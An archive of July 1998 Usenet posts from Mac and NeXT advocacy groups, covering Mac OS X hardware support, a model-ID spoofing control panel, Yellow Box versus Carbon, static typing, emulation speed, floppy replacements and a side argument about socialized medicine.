Message-ID: <gmgraves-1107980834220001@sf-usr1-11-139.dialup.slip.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <rmcassid-0907981204040001@dante.eng.uci.edu> <gmgraves-1007981305540001@sf-usr1-48-176.dialup.slip.net> <1dbzmut.11chabv1ojq2xyN@ip172.albnxr2.ras.tele.dk> <macghod-1007982237130001@sdn-ar-001casbarp289.dialsprint.net> <1dc02ox.4h48bdtmgzfN@ip172.albnxr2.ras.tele.dk>
In article <1dc02ox.4h48bdtmgzfN@ip172.albnxr2.ras.tele.dk>,
xerxes@diku.edu.dk (Per Erik Ronne) wrote:
> Steve Sullivan <macghod@concentric.net> wrote:
>
> > In article <1dbzmut.11chabv1ojq2xyN@ip172.albnxr2.ras.tele.dk>,
> > xerxes@diku.edu.dk (Per Erik Ronne) wrote:
> >
> > > George Graves <gmgraves@slip.net> wrote:
> > >
> > > > I can tell you for a dead-cinch fact that Apple most assuredly CAN
> > > > restrict OSX in any way they like. If they design the installer to
> > > > exclude certain gestalt IDs, then OSX simply won't install on those
> > > > machine irresepective of whether or not it will actually run on them!
> > >
> > > Can't shareware programmers reverse-engineer the installer and allow the
> > > program to be installed on this computer?
> >
> > Well, their is already a program to do this, people who install rhapsody
> > use it. I forget the name, something like "whatami". I am sure someone
> > will chime in and give its actual name. It lets you choose what kind of
> > computer the computer will think it is. So, I would assume if you have a
> > 030 mac, you can use it to say its a 040, and os 8 should install that
> > way.
>
> Well, maybe that will make a 6100 with a G3-card [240 MHz] able to use
> MacOS X? Unless, of course, it will not run on the NuBus cumputers.
Another problem is that "I wish I were" hasn't been updated in quite a
while. There are no G3 machines listed among the available 'False IDs"
that come with the control panel. If OSX truly requires a G3 to install,
"I wish I were" won't help at all, even if Apple doesn't write the installer
as restictively as they did the DR2 installer.
George Graves
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
Date: 11 Jul 1998 16:07:42 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6o82ke$cci$1@news.cs.tu-berlin.de>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <
Mime-Version: 1.0
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Content-Transfer-Encoding: 8bit
schuerig@acm.org (Michael Schuerig) writes:
>Marcel Weiher <marcel@cs.tu-berlin.de> wrote:
>[on C++-style binding]
>> That is correct, but there is a decision that is made at compile-time:
>> the function must be implemented in the exact target class or a
>> derived class of the target class. Another class capable of
>> responding to the same message cannot be substituted.
>>
>> This violates a fundamental tenet of object-orientation, that the
>> only visible aspect of an object should be its behaviour.
>I don't see why it violates some tenet of OO to make sure at compile
>time that an object is actually _able_ to respond to a message that it
>might be sent. And exactly that is what's happening in C++, Eiffel,
>Java.
Er, not quite. Most of these languages make sure that the object
in question belongs to a specific class or derived class. This
is a stronger requirement than being able to respond to a message.
The distinction may seem subtle, but I am not alone in thinking
that it is actually quite important.
>> Some of the most powerful reuse mechanisms
>> currently known are crippled by static typing.
>Would you mind to elaborate? I'm still trying to find out what I miss.
Keep looking :-)
Some papers in fairly random order:
Implementing Signatures for C++
by Gerald Baumgartner and Vincent F. Russo
ACM Transactions on Programming Languages and Systems, Vol. 19 No.1
The Interaction Between Static Typing and Frameworks
by Gail C. Murphy and David Notkin
TR 93-09-02, University of Washington
Integrating Independently-Developed Components in OO Languages
by Urs Hoelzle
in ECOP 93 Proceedings
There are also numerous practical examples.
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: valdan@ce.mediaone.net (Daniel Martin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <valdan-1107981133560001@d150-74.ce.mediaone.net>
References: <kindall-0907981344480001@nic-c41-094.mw.mediaone.net> <B1CA83C4-12781@206.165.43.167> <6o3s81$1k6$1@vixen.cso.uiuc.edu> <joe.ragosta-1007980836030001@wil117.dol.net> <MPG.100fd98176c5ec1798975e@news.itg.ti.com> <joe.ragosta-1007981039190001@wil62.dol.net> <MPG.100ff0a3f039a4e698975f@news.itg.ti.com>
Date: Sat, 11 Jul 1998 16:26:56 GMT
NNTP-Posting-Date: Sat, 11 Jul 1998 11:26:56 CDT
Organization: MediaOne Express -=- Central Region
> > In article Joe Ragosta, joe.ragosta@dol.net says...
> > >
> > > Actually, the NT fans will tell you that NT works just fine on a 486 66
> > > MHz--until you start talking about running it under VPC or SoftWindows.
> > > THEN, 486 performance is hopelessly slow.
> > >
> > > I've never figured out how 486 performance on a "real" PC is OK,
while 486
> > > performance on a "virtual" PC isn't.
> >
> > Because you are getting a horrible cost vs performance ratio with the
> > Mac + emulation.
> >
> > Nice try.
> >
> > The posts I've seen from Wintrolls have said "Virtual PC is too slow to be
> > useful". No cost issue--just too slow.
> >
> > Please explain why 486 performance is acceptable on a real PC but not on a
> > virtual one.
>
> Because you can pick up a real 486 for a few hundred bucks. Can you pick
> up a G3 + Virtual PC for that much? Anyone who is saying that 486 speed
> on a G3 + Virtual PC is just too slow (for basic stuff) is wrong. It's
> just not cost effective.
Oh come on! You're assuming that someone would be purchasing a G3 + VPC
simply because all they wanted to have was a PC ???. Me thinks you made a
silly point, friend. The advantage (and utility) of running VPC is that
you get to have BOTH a Macintosh (1 computer) AND a pc (1 computer).
That makes one computer capable of running at least 2 operating systems.
That's like two computers for roughly a hundred dollars more than the cost
of one...
...and VPC running on a 200MHz 604 is quite usable. No, I won't be running
NT with it, or some such nonsense... emulation software has never been
intended as anything but a means to gain access to wider range of general
applications. If one NEEDS to have, say, an NT server, please, go out
and buy a pc. This Mac (and pc) user won't argue with you.)
Cheers
Daniel
--
*********************
"History may not repeat itself, but it sure does rhymn."
--Mark Twain
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: Sat, 11 Jul 1998 11:43:47 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35A79643.29CBA3AF@nstar.net>
References: <359A90F9.A546707D@alum.mit.edu> <6o5hrd$jd4$1@camel0.mindspring.com>
<6o5i34$khq$1@camel0.mindspring.com> <6o5m9a$smv$1@nnrp1.dejanews.com>
<6o5shq$p47$1@camel0.mindspring.com> <35A67AFE.87BA2FA2@ericsson.com> <6o6l05$8u1$2@supernews.com>
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NNTP-Posting-Date: 11 Jul 1998 16:49:03 GMT
John C. Randolph wrote:
> Michael,
>
> Much as we differ on the relative merits of the computing platforms we
> usually discuss here, I have to say that when it comes to politics, we seem
> to be entirely in agreement.
Heh, we probably don't differ that much anyhow; advocacy tends to
exagerrate small disagreements. At any rate, I'm flattered.
> As many have said, the trouble with trading liberty for safety, is that you
> invariably are left with neither.
Precisely. Nothing illustrates that fact more starkly than entrusting
one's safety to government.
MJP
From: eol_of_urnst@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Date: Sat, 11 Jul 1998 16:43:59 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6o84of$aov$1@nnrp1.dejanews.com>
References: <6o17sr$52q$1@msunews.cl.msu.edu> <6o5bv7$ba0@shelob.afs.com> <6o5g4e$c6e$1@news.cs.tu-berlin.de> <6o5jba$6q$1@news.xmission.com> <01bdac2c$05e11ee0$04387880@test1>
In article <01bdac2c$05e11ee0$04387880@test1>,
"Todd Heberlein" <todd@NetSQ.com> wrote:
(quoted)
> First, with Carbon, Apple has demonstrated that it does listen and is
> willing to change strategies as the market demands. Bill Gates once
> said, "I would rather be right than consistent." I think Apple now
> believes this too.
Too bad Bill got *both* wrong (makes one thing if he's a "might makes right"
kind of guy...)
:-(
> So, if you want another Intel solution other than YB on NT, keep
> letting Apple know. But also, think out of the box (e.g., would YB for
> BSD/Intel or YB for Linux/Intel be acceptable alternatives?)
It would ROCK!!! It would be AWESOME!!! And it would be a *big* help to the
GNUStep people. It would be specially nice if apple released DisplayPostScript
and the NS WindowServer with it, just so we could get rid (mostly) of X.
> Second, I have both Java (Java Workshop 2.0 and Java Studio) and Yellow
> Box (DR1) installated on my NT, and while Java has improved since I
> last tried working on it, Yellow Box still blows it away on NT - both
> as a development environment as well as for performance of the
> application.
>
> So while Yellow Box on Winblows sucks, remember it "sucks less" than
> the alternatives. :-)
Alas that is true. I would argue that Inprise's Delphi is a *very good*
development tool, but I would choose YB over it any day of the week. Besides,
it unfortunately seems (with the Delphi 4 release) that Inprise (I really like
Borland best) is adopting M$ beta-release turned final approach to software
development... No good.
Cheers!
Rodrigo Miranda
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: id_est@interport.net (tse_di)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sat, 11 Jul 1998 13:18:16 -0400
Organization: none
Message-ID: <id_est-1107981318170001@192.168.1.3>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <see-below-0807981636070001@dynamic56.pm03.mv.best.com>
Maybe it would help if people think of OS X as a "new" operating system
that can run old software rather than an update to the existing software.
This is what Rhapsody is. It certainly seems this way to me (notice the
continued upgrade plans for 8.x). OS X just runs old software a little
more seemlessly than Rhapsody does. When the Mac was introduced it had no
compatibility with the Apple II. The Mac was a new system.
By the way I do not have a G3.
As a new OS I am not expecting it to run on that many old machines. I do
expect it to run on all new machines (new meaning machines released at the
same time and later than OS X. The fact that it will also run on most all
currently sold machines is nice.
The impression that I got from various MacWorld things was that OS X will
run on all G3 or better machines apple makes (including the iMac and
powerbook G3 Series, although the original G3 powerbook is fuzzy). It may
run on 604 based PCI machines but I wouldn't count on it. The reason is
simply timeliness. Apple has limited resources and is committed to having
on time software releases and not falling into the copland trap of forever
adding features and support and never releasing anything. The G3 work is
doable in the time frame given. The 604PCI work probably isn't. It isn't
about the processor it is about the motherboard. Remember that prior to
the current 4 model strategy there was a lot of diversity in Apple
Motherboards. If things go really well there might be time to do full 604
PCI support but I doubt it. There may be time to do something like
8500/8600/9500/9600 support but with not all features enabled (imagine a
release that worked fine except for things like video capture/output,
built in ethernet or serial ports). I don't know if apple would release
this, the support issues of people calling saying they upgraded and now x
doesn't work would be a nightmare. They might put it into a limited
developer release or something though. You may see an initial release for
G3 or better and subsequent releases supporting a limited number of 604's.
What I actually expect to see is a G3 or better realease and continued
8.x releases. 8.x will gain more OS X features over time and will
eventually be merged into OS X or killed. (2-3 years). The more money
apple makes the more features they can put into 8.x and OS X releases and
the more quickly they will converge.
I don't think the strategy is about marketing and making people buy
machines. I think it is about what is possible in a certain amount of time
with limited resources. Which would you rather see? and which would you do
if you were apple? Bring support for OSX to 604PCI machines and then
other older machines or, say, add robust fast SMP to OSX for new machines?
Projected sales are part of this. It is one thing to develop a new
operating system to make new machines compelling. It is another to develop
updates that only a certain subset of the installed base will purchase.
There are many old macs out there running versions of 6.x or 7.x that are
quite capable of running new system software but have not been upgraded
because the user doesn't see any compelling need to.
Personally, I would like to see G3 or better support and see
8500/8600/9500/9600 support added within 6 months and move ahead from
there. Whether I will see this or not I don't know, I am not an engineeer
at apple.
just a few thoughts.
From: rr6013@yahoo.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
MIME-Version: 1.0
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References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net>
Message-ID: <vtNp1.383$7k7.493478@news.rdc1.sdca.home.com>
Date: Sat, 11 Jul 1998 17:41:47 GMT
NNTP-Posting-Date: Sat, 11 Jul 1998 10:41:47 PDT
Organization: @Home Network
In <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> Steve
Sullivan wrote:
> In the short term, apple is definitely doing good. But, they now have the
> best os (openstep) and best dev tools (interface builder, project builder,
> webobjects etc). But, the bellow is disturbing:
>
> http://www.macintouch.com/ny1998day2.html
>
>
>
> Yellow Box's role
>
> I asked what role Apple expected the Yellow Box APIs to play in a world
> where "all life forms are based on Carbon," as Jobs put it in his WWDC
> keynote. I expected Bereskin to present what I understood to be the
> company line: that Carbon was aimed mainly at developers trying to
> preserve the value of their previous investments in the Mac OS APIs, but
> that the Yellow Box, because of its advantages as a development
> environment, was the solution Apple would recommend for those planning to
> create new applications from the ground up.
>
> Instead, Bereskin said "It's clear that if you are starting a new project
> and want to reach as many people as possible, the best API is Carbon."
> His main arguments seemed to be about the size of the market where such a
> project could be deployed -- he noted that Carbon apps could run on all
> current Power Macs (on OS releases still to be determined) and of course
> on all future Macs running Mac OS X. He didn't mention (and I didn't ask
> about) the possibility that Apple might implement a version of the Yellow
> Box on pre-X versions of the Mac OS, nor did he mention the Yellow Box
> for Windows -- even though those together would make give developers a
> vastly larger target market than Mac OS X will for years to come.
>
> What then is the place of the Yellow Box? Bereskin talked about it only
> as part of Apple's larger Java strategy. (The Yellow Box APIs weren't
> written in Java, of course, but all of them are now available to Java
> developers through Java wrappers.) He noted that the Yellow Box is
> mature, time-tested framework that resolves many of the problems that
> developers have encountered when trying to create full-blown applications
> with Java. He promised more details about Apple's plans in this area
> sometime in the coming months.
>
> On the basis of this conversation, I'm going to go way out on a limb and
> indulge in some wild speculation. (Remember, this is I, not Bereskin.) I
> predict that Apple is going to sell or spin off the Yellow Box, probably
> along with WebObjects, to some entity focused on Java. If it's sold, it
> could be to Sun, or Inprise (the former Borland, run by Del Yocam), or
> maybe part of Oracle.
>
>
NeXTSTEP/OPENSTEP/Rhapsody and the YB API's are historical "Roadkill" on the
Silicon Hwy. Their only respective roles will be for marking the Timeline
where they become obsolete...
Whatever opportunity NeXTSTEP/OPENSTEP/Rhapsody OS had is complete. The
highest and best use is Apple's new MacOS X, a 10 year old state-of-the-art
operating system for Macintosh.
The fate of Apple is in the future of Macintosh, if that isn't an oxymoron...
-r
-r
From: xerxes@diku.edu.dk (Per Erik Ronne)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sat, 11 Jul 1998 20:10:34 +0100
Organization: DIKU
Message-ID: <1dc0lk7.a4f6v31sgxjggN@ip176.albnxr2.ras.tele.dk>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <rmcassid-0907981204040001@dante.eng.uci.edu> <gmgraves-1007981305540001@sf-usr1-48-176.dialup.slip.net> <1dbzmut.11chabv1ojq2xyN@ip172.albnxr2.ras.tele.dk> <gmgraves-1107980826160001@sf-usr1-11-139.dialup.slip.net>
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/>C@|s&Og$a~PWByK#FcE"c1eV]<oBYWgsvFx)X.1IV=wcC9^!onQ4M8ewM
George Graves <gmgraves@slip.net> wrote:
> On DR2 they've covered that very well. There is this shareware control
> panel called "I wish I were". What it does is return a false ID when
> queried about the computer's model. One can simply pick the model they
> want to be from the list, and restart. The problem is that "I wish I were"
> MUST be running on the boot OS in order for it to do this. Rhapsody DR2's
> installer was designed to ONLY install from the OS on the installer CD. If
> you try to move the Installer OS to another volume, it tells you that the
> install MUST be made from the original CD, not from a copy. So, how do you
> add a new control panel to an OS on a CD? Oh, one more thing, if you copy
> the CD in its entirety to another volume and then add the "I wish I were"
> control panel, then burn a new CD from that, you get the same "Install
> must be made from original CD" message. I'd say they have it covered.
Well, I've tried to make a ShrinkWarp disk image of Grolier's Multimedia
Encyclopedia. It is possible to mount this disk image and run this
encyclopedia from HD if you have harddisk space enough and if you want
the encyclopedia online all the time. It is, however, _not_ possible to
copy the CD-ROM to the harddisk as such.
I haven't got a CD-ROM burner, but I wouldn't be surprised if it was
possible to change the contents of a mounted CD-ROM image and then copy
it to a new CD-ROM. Of course, you cannot boot on a CD-ROM image :-(.
--
Per Erik Rønne
E-mail: xerxes@diku.edu.dk
Homepage with pgp public key: http://www.diku.dk/students/xerxes
Remove '.edu' before e-mail [anti-spam]
From: xerxes@diku.edu.dk (Per Erik Ronne)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sat, 11 Jul 1998 20:10:37 +0100
Organization: DIKU
Message-ID: <1dc0lwi.122kl0vegtcv2N@ip176.albnxr2.ras.tele.dk>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu>
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Peter <pxpst2@spam.suxs.unixs.cis.pitt.edu> wrote:
> Actually you are not correct. The myriad of motherboard designs went bye
> bye when Steve came back. The fact that the Mach 3 kernal that OS X sits
> on ALREADY runs on 7600, 8600, and 9600s says that adding this support to
> those computers should not be difficult at all. I am guessing that in the
> end these machines will be supported before OS X shipps. Apple is trying
> to shatter unreasonable expectations like support any nubus,performas and
> clones based on those MotherBoards and then give in. In the end they will
> support the X600 series.
Actually, Mach 3 runs on the 6100/7100/8100 already. They simply were
the first PowerMacs to run MkLinux which in turn runs on Mach 3!
--
Per Erik Rønne
E-mail: xerxes@diku.edu.dk
Homepage with pgp public key: http://www.diku.dk/students/xerxes
Remove '.edu' before e-mail [anti-spam]
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sat, 11 Jul 1998 13:19:01 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6o8adb$i746@odie.mcleod.net>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com> <gmgraves-1107980808300001@sf-usr1-11-139.dialup.slip.net>
Yellow Box is dead even if Apple does not abandon it. YellowBox is a custom
application development environment chiefly interesting to enterprise
customers and a hand full of horizontal app developers. Apple has
permanently lost all credibility in the enterprise and there will never be
enough YellowBox installations to support high quality horizontal
applications. Apple and the YellowBox are dead now at least for my company
and the Fortune 100 companies we serve.
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 11 Jul 1998 18:35:04 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6o8b8o$lf$1@lwnws01.ne.highway1.com>
References: <Pine.OSF.3.92.980706140111.28270C-100000@pigeon.qut.edu.au> <1998070614244200.KAA08039@ladder03.news.aol.com> <slrn6q2sji.osk.sal@panix3.panix.com> <6o0euc$32e5@onews.collins.rockwell.com> <slrn6q8mpg.399.sal@panix3.panix.com> <6o33u6$dt7$2@lwnws01.ne.highway1.com> <joe.ragosta-1007980932050001@wil37.dol.net>
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <6o33u6$dt7$2@lwnws01.ne.highway1.com>, jkheit@mediaone.net
> wrote:
> > Yea, and listenting to those geniuses has lead apple to monumental
> > failure after failure.
> Hmmm.
You could say the same thing about Windows users. 99% of them also
don't
> want a CLI. Is Windows a failure, too?
I don't think so for two reasons. One, there is a command line. Two, the
win users, unlike mac whinners, don't give a damn if it's there or not,
especially if they don't have to know about it. They don't have perwinkle
spurs up their butts like many mac user babies do.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS stalled?
Date: Sat, 11 Jul 1998 11:35:57 -0700
Organization: Great till Apple got rid of the newton
Message-ID: <macghod-1107981135570001@sdn-ar-001casbarp259.dialsprint.net>
References: <35aa328b.164961000@198.0.0.100> <6o38vv$9bt$1@nnrp1.dejanews.com>
In article <6o38vv$9bt$1@nnrp1.dejanews.com>, mmp5@axe.humboldt.edu wrote:
> From:
> PC Week, 7/6/98 "Windows Woes Stymie IT"
>
> "With many IT managers finding Windows 98 full
> of bugs and with Windows NT 5.0's ship date still
> a moving target, companies in search of new
> desktop operating systems in the near term may
> need to look outside the Microsoft Corp. fold."
This makes me so sad. If apple hadnt been so wishy washy and non commital
to rhapsody, they could be reaping from this. And if you think I am
FUDing in saying this, you are wrong. Apple has been very non commital,
look at ken bereskin's interview, look at that even yellowbox programmers
think that apple may sell off the enterprise tools it got from Next.
The enterprise market DEMANDS commitment, and APple aint giving it.
--
So many pedestrians, so little time.
Subject: Re: Apple heading to obscurity?
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com> <gmgraves-1107980808300001@sf-usr1-11-139.dialup.slip.net> <6o8adb$i746@odie.mcleod.net>
In-Reply-To: <6o8adb$i746@odie.mcleod.net>
From: not@my.address.net
Message-ID: <ToOp1.3341$24.19242835@news.itd.umich.edu>
Date: Sat, 11 Jul 1998 18:45:07 GMT
NNTP-Posting-Date: Sat, 11 Jul 1998 14:45:07 EDT
On 07/11/98, "Michelle L. Buck" wrote:
>
>there will never be
>enough YellowBox installations to support high quality horizontal
>applications.
I don't see why. Any machine that runs Max OS X will host the yellow box
runtime. And if the windows runtime is free, it can be distributed
transparently with any horizontal app that ships.
--
invert: umich.edu jdevlin
insert: shift "2"
Subject: Re: Microsoft Delays Win NT
Newsgroups: comp.sys.next.advocacy
References: <359A90F9.A546707D@alum.mit.edu> <35A5140D.F96A1F3F@ericsson.com> <6o349q$dt7$3@lwnws01.ne.highway1.com> <35A51590.E1CBC9A1@ericsson.com> <6o39o5$5jj$1@camel15.mindspring.com> <slrn6qb71d.o2v.sal@panix3.panix.com> <35A5BA1B.3CFBDCA6@nstar.net> <slrn6qd1j8.30p.sal@panix3.panix.com> <6o6lm7$bmk$1@supernews.com> <K4Jp1.3329$24.19077986@news.itd.umich.edu> <6o8ijh$jl1$1@supernews.com>
In-Reply-To: <6o8ijh$jl1$1@supernews.com>
From: not@my.address.net
Message-ID: <DSQp1.3353$24.19338362@news.itd.umich.edu>
Date: Sat, 11 Jul 1998 21:33:23 GMT
NNTP-Posting-Date: Sat, 11 Jul 1998 17:33:23 EDT
On 07/11/98, John C. Randolph wrote:
>> >
>> >The evil intrinsic in a claim of a "right" to something at someone else's
>> >expense, is that if you have a "right" to something that you can't
>> >produce yourself, then you must have a "right" to compel someone else to
>> >provide it. If you presume to claim that I have an *obligation* to pay your
>> >medical bills, then my response is: "Go to hell, you freeloader."
>> Would your position change if you thought that a socialized system of
>> medicine could lower infant mortality rates, increase life expectancy, and do
>> it all while consuming a lower percentage of GNP than the present system?
>
>This is a straw-man argument. "If socialized medicine was wonderful, would
>you be for it?" Hell, I'd be for communism, *if* I ever believed that it
>could deliver on its promises.
>
It wasn't any kind of an argument; it was a question.
Here's what's at stake:
Even if a socialized system of medicine were able to produce those sorts of
results, your tax dollars would still be subsidizing medical care for other
people. So if you thought that it was "evil" for a government to use your tax
dollars for that purpose (the "no freeloaders" argument), you wouldn't favor a
socialized system of medicine NO MATTER whether it was able to produce those
sorts of results or not.
But I take it from your response that you would have no objection to socialized
medicine, even though it would be a tax-funded system, PROVIDED THAT it would
deliver those results; it's just your deeply sceptical that a socialized system
of medicine would deliver.
That's actually great progress because now we can do better than trade claims to
"rights" -- ie a "right" to basic medical care irrespective of one's ability to
pay; or a "right" not to be taxed on one's income in order to pay for the
medical care of others. Now instead of lobbing those kinds of "rights" claims
back and forth we can just evaluate the empirical data involving socialized
systems of medicine. And that's tremendous progress because "rights" talk tends
to get people no where when they disagree, but there's loads of empirical
evidence about infant mortality rates, life expectancy and percentage of GNP
devoted to health care in different countries.
For example, the Canadian system is in serious difficulty because prolonged
deficit spending has led to the inevitable deep budget cuts. However it remains
the case that over the past 25 years Canada has enjoyed a lower infant mortality
rate and a longer life expectancy than the US. They also devote a smaller
percentage of their GNP to health care.
Now, there might be other differences between the populations that would account
for those statistics. It would be a long term research project to control for
all the other variables. But I take it that it at least makes the question
whether socialized systems of medicine might do better on those three criteria
(infant mortality rates, life expectancy, and % of GNP devoted to health care) a
live one.
If you told me that you wouldn't favor a socialized system of medicine NO MATTER
how it fared on those three criteria, we'd be in much worse shape since there
isn't much you can do with a "Go to hell" argument except say it louder and
louder every time someone disagrees with you -- or maybe quote some 18th century
figure who said "Go to hell" in a really snappy way (we might call that the "Go
to hell" argument from authority). But now, given your answer to my question, I
gather that we can just drop the "Go to hell" argument and look at the data.
It's not always possible for people to agree on how to reduce some question of
public policy to a well-defined set of empirical issues. But the discussion is
usually so much more productive when it happens.
--
invert: umich.edu jdevlin
insert: shift "2"
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc,comp.sys.mac.system
Subject: Apple, replace g3's floppy with superdisk!!
Date: Sat, 11 Jul 1998 11:58:28 -0700
Organization: Great till Apple got rid of the newton
Message-ID: <macghod-1107981158280001@sdn-ar-001casbarp259.dialsprint.net>
References: <jpolaski-0707980933270001@d151-216.ce.mediaone.net> <6nvdvi$r15$1@news12.ispnews.com> <jpolaski-0907980849330001@d151-216.ce.mediaone.net> <6o2igm$ss6$1@news0-alterdial.uu.net> <6o34ih$bac$1@callisto.acsu.buffalo.edu> <6o3iuf$u1e$1@nnrp1.dejanews.com>
In article <6o3iuf$u1e$1@nnrp1.dejanews.com>, m__kilgore@hotmail.com wrote:
> Actually there may be some good news for the SuperDrive users. I was scanning
> through the latest PC Mall catalog today and you can buy an internal IDE
> LS-120 drive for $60. At that price maybe the wintel crowd will embrace the
> 120 as a possible replacement for the 1.44M floppy drives. I've always
> thought that the Mall's (both PC and Mac Malls) were a little more expensive
> than other places so it's probably possible to get a LS-120 for a few bucks
> less.
Its only $60!?!??!?! Apple's floppy drive is like $150, Apple should
promptly replace all the g3's floppy drive and put in a superdisk
--
So many pedestrians, so little time.
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple, replace g3's floppy with superdisk!!
Message-ID: <1998071122113900.SAA12099@ladder01.news.aol.com>
Date: 11 Jul 1998 22:11:39 GMT
Organization: AOL http://www.aol.com
References: <macghod-1107981158280001@sdn-ar-001casbarp259.dialsprint.net>
I'm not all that thrilled with the superdisk, very slow.
It's rather a shame that Iomega didn't follow through on their initial plan to
produce an inexpensive smaller capacity Zip disk (5-20MB) which would've cost
just a few dollars.
Sony's HiFD is the unit to keep an eye on, I believe.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 11 Jul 1998 20:40:17 GMT
Organization: The World's Usenet -- http://www.Supernews.com
Message-ID: <6o8ijh$jl1$1@supernews.com>
References: <359A90F9.A546707D@alum.mit.edu> <35A5140D.F96A1F3F@ericsson.com>
<6o349q$dt7$3@lwnws01.ne.highway1.com> <35A51590.E1CBC9A1@ericsson.com>
<6o39o5$5jj$1@camel15.mindspring.com> <slrn6qb71d.o2v.sal@panix3.panix.com>
<35A5BA1B.3CFBDCA6@nstar.net> <slrn6qd1j8.30p.sal@panix3.panix.com>
<6o6lm7$bmk$1@supernews.com> <K4Jp1.3329$24.19077986@news.itd.umich.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Cc: not@my.address.net
not@my.address.net may or may not have said:
-> On 07/10/98, John C. Randolph wrote:
-> >
-> >The evil intrinsic in a claim of a "right" to something at someone else's
-> >expense, is that if you have a "right" to something that you can't
produce
-> >yourself, then you must have a "right" to compel someone else to provide
it.
-> >If you presume to claim that I have an *obligation* to pay your medical
-> >bills, then my response is: "Go to hell, you freeloader."
-> >
->
-> Would your position change if you thought that a socialized system of
medicine
-> could lower infant mortality rates, increase life expectancy, and do it
all
-> while consuming a lower percentage of GNP than the present system?
This is a straw-man argument. "If socialized medicine was wonderful, would
you be for it?" Hell, I'd be for communism, *if* I ever believed that it
could deliver on its promises.
I've seen first-hand where the insane costs of health care come from.
Government is a problem masquerading as its own solution.
-jcr
From: schuerig@acm.org (Michael Schuerig)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
Date: Sat, 11 Jul 1998 21:39:40 +0200
Organization: Completely Disorganized
Message-ID: <1dc0ram.aakj3s1mzlce8N@rhrz-isdn3-p45.rhrz.uni-bonn.de>
